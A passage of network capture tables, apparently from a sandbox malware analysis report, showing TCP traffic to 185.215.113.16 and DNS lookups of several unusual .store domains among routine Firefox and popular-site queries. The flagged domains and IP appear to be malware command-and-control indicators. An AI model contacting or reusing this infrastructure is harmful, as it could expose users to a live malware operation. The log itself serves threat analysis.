Nov 1, 2024 05:53:21.105010033 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.105020046 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.105031013 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.105031967 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.105043888 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.105045080 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.105055094 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.105067015 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.105082989 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.105088949 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.105120897 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.181140900 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.181162119 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.181174040 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.181185007 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.181196928 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.181207895 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.181220055 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.181230068 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.181274891 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.181301117 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.181313992 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.181341887 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.181368113 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.181399107 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.181410074 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.181421041 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.181436062 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.181442022 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.181448936 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.181459904 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.181471109 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.181477070 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.181499004 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.181515932 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.181535959 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.181591988 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.181651115 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.181663990 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.181674004 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.181685925 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.181698084 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.181699991 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.181710005 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.181726933 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.181731939 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.181757927 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.181771040 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.181919098 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.181930065 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.181941032 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.181952953 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.181963921 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.181974888 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.181974888 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.181987047 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.181998968 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.182005882 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.182018042 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.182020903 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.182043076 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.182070017 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:21.182149887 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.182163000 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.182173967 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.182183027 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:21.182194948 CET	80	49995	185.215.113.16	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 1, 2024 05:52:05.755143881 CET	192.168.2.5	1.1.1.1	0xea28	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:52:05.768959045 CET	192.168.2.5	1.1.1.1	0xab0	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:52:05.778637886 CET	192.168.2.5	1.1.1.1	0x6817	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:52:05.788605928 CET	192.168.2.5	1.1.1.1	0xe886	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:52:05.803122997 CET	192.168.2.5	1.1.1.1	0xf97b	Standard query (0)	necklacedmny.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:53:13.333169937 CET	192.168.2.5	1.1.1.1	0xf034	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:53:13.344137907 CET	192.168.2.5	1.1.1.1	0xf90c	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:53:13.355233908 CET	192.168.2.5	1.1.1.1	0xa3e5	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:53:13.366044998 CET	192.168.2.5	1.1.1.1	0x874c	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:53:24.642503977 CET	192.168.2.5	1.1.1.1	0x3611	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:53:24.663218021 CET	192.168.2.5	1.1.1.1	0xef61	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:53:24.682188034 CET	192.168.2.5	1.1.1.1	0x1c20	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:53:24.694952965 CET	192.168.2.5	1.1.1.1	0x8cad	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:53:30.758874893 CET	192.168.2.5	1.1.1.1	0x7362	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:53:30.787403107 CET	192.168.2.5	1.1.1.1	0x44e1	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 1, 2024 05:53:32.335760117 CET	192.168.2.5	1.1.1.1	0xccb2	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:53:32.336405039 CET	192.168.2.5	1.1.1.1	0x8541	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:53:32.350884914 CET	192.168.2.5	1.1.1.1	0xbd2a	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:53:32.352034092 CET	192.168.2.5	1.1.1.1	0xdabd	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:53:32.358036995 CET	192.168.2.5	1.1.1.1	0xabe3	Standard query (0)	youtube.com	28	IN (0x0001)	false
Nov 1, 2024 05:53:32.364435911 CET	192.168.2.5	1.1.1.1	0x388c	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 1, 2024 05:53:34.086260080 CET	192.168.2.5	1.1.1.1	0x7a63	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:53:34.087821007 CET	192.168.2.5	1.1.1.1	0x4c56	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:53:34.095212936 CET	192.168.2.5	1.1.1.1	0x50d9	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:53:34.097273111 CET	192.168.2.5	1.1.1.1	0xc9cd	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 1, 2024 05:53:34.103619099 CET	192.168.2.5	1.1.1.1	0xa09f	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Nov 1, 2024 05:53:34.200891972 CET	192.168.2.5	1.1.1.1	0xd4f8	Standard query (0)	spocs.getpocket.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:53:34.212831020 CET	192.168.2.5	1.1.1.1	0x2ddb	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:53:34.220613956 CET	192.168.2.5	1.1.1.1	0x765f	Standard query (0)	example.org	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:53:34.225598097 CET	192.168.2.5	1.1.1.1	0x7361	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 1, 2024 05:53:34.229079962 CET	192.168.2.5	1.1.1.1	0x6631	Standard query (0)	ipv4only.arpa	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:53:35.031992912 CET	192.168.2.5	1.1.1.1	0x774a	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:53:37.119153976 CET	192.168.2.5	1.1.1.1	0x1c26	Standard query (0)	content-signature-2.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:53:37.133497953 CET	192.168.2.5	1.1.1.1	0x3f26	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:53:37.149475098 CET	192.168.2.5	1.1.1.1	0x7da8	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 1, 2024 05:53:37.808585882 CET	192.168.2.5	1.1.1.1	0x4ecc	Standard query (0)	shavar.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:53:55.659508944 CET	192.168.2.5	1.1.1.1	0xe309	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 1, 2024 05:53:55.871855021 CET	192.168.2.5	1.1.1.1	0xbfa	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:53:55.975073099 CET	192.168.2.5	1.1.1.1	0x5394	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 1, 2024 05:53:56.059247017 CET	192.168.2.5	1.1.1.1	0x8c64	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Nov 1, 2024 05:53:56.364017963 CET	192.168.2.5	1.1.1.1	0x398a	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 1, 2024 05:53:56.797209978 CET	192.168.2.5	1.1.1.1	0x5bc2	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:53:56.801912069 CET	192.168.2.5	1.1.1.1	0x617d	Standard query (0)	firefox.settings.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:53:56.959392071 CET	192.168.2.5	1.1.1.1	0xb2e0	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:53:57.056991100 CET	192.168.2.5	1.1.1.1	0x3167	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 1, 2024 05:53:57.057028055 CET	192.168.2.5	1.1.1.1	0x76e9	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:53:57.116873980 CET	192.168.2.5	1.1.1.1	0xc378	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:53:57.116911888 CET	192.168.2.5	1.1.1.1	0x76e9	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:53:57.116935968 CET	192.168.2.5	1.1.1.1	0x3167	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 1, 2024 05:53:57.119832993 CET	192.168.2.5	1.1.1.1	0x2597	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 1, 2024 05:53:57.157959938 CET	192.168.2.5	1.1.1.1	0xc378	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:53:57.174366951 CET	192.168.2.5	1.1.1.1	0x5515	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Nov 1, 2024 05:53:57.208441973 CET	192.168.2.5	1.1.1.1	0x5515	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Nov 1, 2024 05:53:57.721462011 CET	192.168.2.5	1.1.1.1	0x7104	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:53:57.842428923 CET	192.168.2.5	1.1.1.1	0x87c3	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:53:57.860227108 CET	192.168.2.5	1.1.1.1	0x244b	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:53:57.882275105 CET	192.168.2.5	1.1.1.1	0x72a8	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:53:58.841037035 CET	192.168.2.5	1.1.1.1	0xb827	Standard query (0)	support.mozilla.org	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:53:58.850240946 CET	192.168.2.5	1.1.1.1	0xc00b	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:53:58.858551979 CET	192.168.2.5	1.1.1.1	0x9ae8	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 1, 2024 05:54:00.490679979 CET	192.168.2.5	1.1.1.1	0x91da	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:54:00.490849972 CET	192.168.2.5	1.1.1.1	0x4af8	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:54:00.490963936 CET	192.168.2.5	1.1.1.1	0x32aa	Standard query (0)	www.wikipedia.org	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:54:00.498591900 CET	192.168.2.5	1.1.1.1	0x7322	Standard query (0)	youtube-ui.l.google.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:54:00.499375105 CET	192.168.2.5	1.1.1.1	0xaac5	Standard query (0)	dyna.wikimedia.org	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:54:00.499428988 CET	192.168.2.5	1.1.1.1	0x4d9	Standard query (0)	star-mini.c10r.facebook.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:54:00.507622957 CET	192.168.2.5	1.1.1.1	0xd8a4	Standard query (0)	youtube-ui.l.google.com	28	IN (0x0001)	false
Nov 1, 2024 05:54:00.510113955 CET	192.168.2.5	1.1.1.1	0xb3d3	Standard query (0)	star-mini.c10r.facebook.com	28	IN (0x0001)	false
Nov 1, 2024 05:54:00.516804934 CET	192.168.2.5	1.1.1.1	0x8e5f	Standard query (0)	dyna.wikimedia.org	28	IN (0x0001)	false
Nov 1, 2024 05:54:00.517553091 CET	192.168.2.5	1.1.1.1	0xf72d	Standard query (0)	www.reddit.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:54:00.520993948 CET	192.168.2.5	1.1.1.1	0xa456	Standard query (0)	twitter.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:54:00.526547909 CET	192.168.2.5	1.1.1.1	0xe6d6	Standard query (0)	reddit.map.fastly.net	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:54:00.528388023 CET	192.168.2.5	1.1.1.1	0xa199	Standard query (0)	twitter.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:54:00.535270929 CET	192.168.2.5	1.1.1.1	0x997b	Standard query (0)	reddit.map.fastly.net	28	IN (0x0001)	false
Nov 1, 2024 05:54:00.535686016 CET	192.168.2.5	1.1.1.1	0x417d	Standard query (0)	twitter.com	28	IN (0x0001)	false
Nov 1, 2024 05:54:02.867068052 CET	192.168.2.5	1.1.1.1	0x2378	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 1, 2024 05:54:13.843254089 CET	192.168.2.5	1.1.1.1	0x3fa2	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 1, 2024 05:54:19.610425949 CET	192.168.2.5	1.1.1.1	0xa6cb	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 1, 2024 05:54:19.638516903 CET	192.168.2.5	1.1.1.1	0xa6cb	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 1, 2024 05:54:19.958036900 CET	192.168.2.5	1.1.1.1	0x758	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Nov 1, 2024 05:54:19.958219051 CET	192.168.2.5	1.1.1.1	0x2c49	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 1, 2024 05:54:19.997412920 CET	192.168.2.5	1.1.1.1	0x2c49	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 1, 2024 05:54:19.997427940 CET	192.168.2.5	1.1.1.1	0x758	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Nov 1, 2024 05:54:20.123215914 CET	192.168.2.5	1.1.1.1	0xfd2	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 1, 2024 05:54:20.155071974 CET	192.168.2.5	1.1.1.1	0xfd2	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 1, 2024 05:54:20.414777040 CET	192.168.2.5	1.1.1.1	0x8e28	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:54:20.427972078 CET	192.168.2.5	1.1.1.1	0x959e	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 1, 2024 05:54:20.591712952 CET	192.168.2.5	1.1.1.1	0x74a8	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 1, 2024 05:54:20.594504118 CET	192.168.2.5	1.1.1.1	0x92a7	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:54:20.618918896 CET	192.168.2.5	1.1.1.1	0x8691	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Nov 1, 2024 05:54:22.771435022 CET	192.168.2.5	1.1.1.1	0xff3b	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 1, 2024 05:54:24.157741070 CET	192.168.2.5	1.1.1.1	0x3069	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:54:24.158376932 CET	192.168.2.5	1.1.1.1	0x47c8	Standard query (0)	www.reddit.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:54:24.158639908 CET	192.168.2.5	1.1.1.1	0x91c4	Standard query (0)	twitter.com	28	IN (0x0001)	false
Nov 1, 2024 05:54:24.166177988 CET	192.168.2.5	1.1.1.1	0xf0e2	Standard query (0)	star-mini.c10r.facebook.com	28	IN (0x0001)	false
Nov 1, 2024 05:54:24.166205883 CET	192.168.2.5	1.1.1.1	0xaad6	Standard query (0)	reddit.map.fastly.net	28	IN (0x0001)	false
Nov 1, 2024 05:54:26.118385077 CET	192.168.2.5	1.1.1.1	0xadd4	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 1, 2024 05:54:36.776036024 CET	192.168.2.5	1.1.1.1	0x5cb1	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:54:36.785070896 CET	192.168.2.5	1.1.1.1	0x55bc	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 1, 2024 05:54:37.434042931 CET	192.168.2.5	1.1.1.1	0xa954	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:54:49.855050087 CET	192.168.2.5	1.1.1.1	0x7f38	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:54:49.865263939 CET	192.168.2.5	1.1.1.1	0xcac3	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 1, 2024 05:54:57.727132082 CET	192.168.2.5	1.1.1.1	0x4af3	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 1, 2024 05:55:19.119775057 CET	192.168.2.5	1.1.1.1	0xbdf	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Nov 1, 2024 05:55:38.448035002 CET	192.168.2.5	1.1.1.1	0x71ce	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:55:38.455492973 CET	192.168.2.5	1.1.1.1	0xc5cb	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 1, 2024 05:55:39.071600914 CET	192.168.2.5	1.1.1.1	0x4298	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 1, 2024 05:52:05.764847994 CET	1.1.1.1	192.168.2.5	0xea28	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:52:05.777605057 CET	1.1.1.1	192.168.2.5	0xab0	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:52:05.787679911 CET	1.1.1.1	192.168.2.5	0x6817	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:52:05.797188044 CET	1.1.1.1	192.168.2.5	0xe886	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:52:05.814373970 CET	1.1.1.1	192.168.2.5	0xf97b	No error (0)	necklacedmny.store		188.114.96.3	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:52:05.814373970 CET	1.1.1.1	192.168.2.5	0xf97b	No error (0)	necklacedmny.store		188.114.97.3	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:53:13.341926098 CET	1.1.1.1	192.168.2.5	0xf034	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:53:13.352953911 CET	1.1.1.1	192.168.2.5	0xf90c	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:53:13.363862038 CET	1.1.1.1	192.168.2.5	0xa3e5	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:53:13.380215883 CET	1.1.1.1	192.168.2.5	0x874c	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:53:24.657061100 CET	1.1.1.1	192.168.2.5	0x3611	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:53:24.672070980 CET	1.1.1.1	192.168.2.5	0xef61	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:53:24.690633059 CET	1.1.1.1	192.168.2.5	0x1c20	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:53:24.704174042 CET	1.1.1.1	192.168.2.5	0x8cad	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:53:30.729343891 CET	1.1.1.1	192.168.2.5	0xd8ed	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:53:30.765958071 CET	1.1.1.1	192.168.2.5	0x7362	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:53:32.342459917 CET	1.1.1.1	192.168.2.5	0xccb2	No error (0)	youtube.com		172.217.18.14	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:53:32.343003035 CET	1.1.1.1	192.168.2.5	0x8541	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 1, 2024 05:53:32.343003035 CET	1.1.1.1	192.168.2.5	0x8541	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:53:32.357430935 CET	1.1.1.1	192.168.2.5	0xbd2a	No error (0)	youtube.com		142.250.186.46	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:53:32.358638048 CET	1.1.1.1	192.168.2.5	0xdabd	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:53:32.364684105 CET	1.1.1.1	192.168.2.5	0xabe3	No error (0)	youtube.com			28	IN (0x0001)	false
Nov 1, 2024 05:53:32.371571064 CET	1.1.1.1	192.168.2.5	0x388c	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net			28	IN (0x0001)	false
Nov 1, 2024 05:53:34.081770897 CET	1.1.1.1	192.168.2.5	0x7567	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 1, 2024 05:53:34.081770897 CET	1.1.1.1	192.168.2.5	0x7567	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:53:34.094118118 CET	1.1.1.1	192.168.2.5	0x7a63	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:53:34.094921112 CET	1.1.1.1	192.168.2.5	0x4c56	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:53:34.103130102 CET	1.1.1.1	192.168.2.5	0x50d9	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:53:34.208055973 CET	1.1.1.1	192.168.2.5	0xd4f8	No error (0)	spocs.getpocket.com	prod.ads.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 1, 2024 05:53:34.208055973 CET	1.1.1.1	192.168.2.5	0xd4f8	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:53:34.220115900 CET	1.1.1.1	192.168.2.5	0x2ddb	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:53:34.227422953 CET	1.1.1.1	192.168.2.5	0x765f	No error (0)	example.org		93.184.215.14	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:53:34.236413956 CET	1.1.1.1	192.168.2.5	0x6631	No error (0)	ipv4only.arpa		192.0.0.170	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:53:34.236413956 CET	1.1.1.1	192.168.2.5	0x6631	No error (0)	ipv4only.arpa		192.0.0.171	A (IP address)	IN (0x0001)	false
